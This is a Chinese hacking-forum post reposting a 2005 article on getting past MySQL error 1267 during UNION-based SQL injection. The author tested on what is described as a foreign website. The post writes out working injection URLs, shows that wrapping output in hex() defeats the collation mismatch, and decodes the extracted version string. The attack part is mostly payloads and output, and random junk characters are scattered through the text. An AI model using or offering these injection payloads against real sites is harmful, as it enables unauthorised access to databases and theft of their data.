找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1822|回复: 0
打印 上一主题 下一主题

MySQL注射时ErrorNo.1267的突破

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:04:54 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
本文作者:SuperHei$ _0 m6 C1 T% ]4 P/ _
文章性质:原创
! `% G# ~( w! K( e6 G发布日期:2005-10-18
) v$ a( ]( c) Y" B$ h, ~( m* W! B测试个国外的站时:9 Y, C/ |* K" S$ w! t/ k
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
0 O1 s( u- F! z' Y' i2 p' z/ {返回错误:
' {/ b: T4 v3 p% Q1 mIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
( _0 w# M6 b# U# S! l& aMySQL Error No. 1264 Q6 B; ~+ ~; {, ^2 N3 W  C
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。4 _) q* N, t: X0 `
解决办法:转为其他编码如hex。
5 W4 O% R& u: p- R# c- J) ^url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*$ v/ z8 v+ s2 X( e' `: k; ~& g8 ~
成功得到hex(version())的值为:1 V" ]8 q1 i, b9 i. v
342E312E332D626574611 i% i: H' e- N9 l$ \% G5 _) m
回Mysql查询下得到:
7 m% Q' r# f  L0 `6 c4 xmysql> select 0x342E312E332D62657461;3 W. W7 I. n. n6 w! D! k
+------------------------+. L9 c* {# G  D# a3 X) [7 _0 O; {
| 0x342E312E332D62657461 |3 r2 f. v; V' `9 ]
+------------------------+
# E4 Q8 m2 J+ V& C7 F" z| 4.1.3-beta |
+ r& `1 g: r2 X/ H4 o, b- b+------------------------+
. F- z- W8 n3 f4 N9 t$ J9 t0 a6 R1 row in set (0.00 sec)
8 A6 ?( G# h" `5 c4 ^& Y. K
3 d  C$ q4 z! L0 s$ j
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表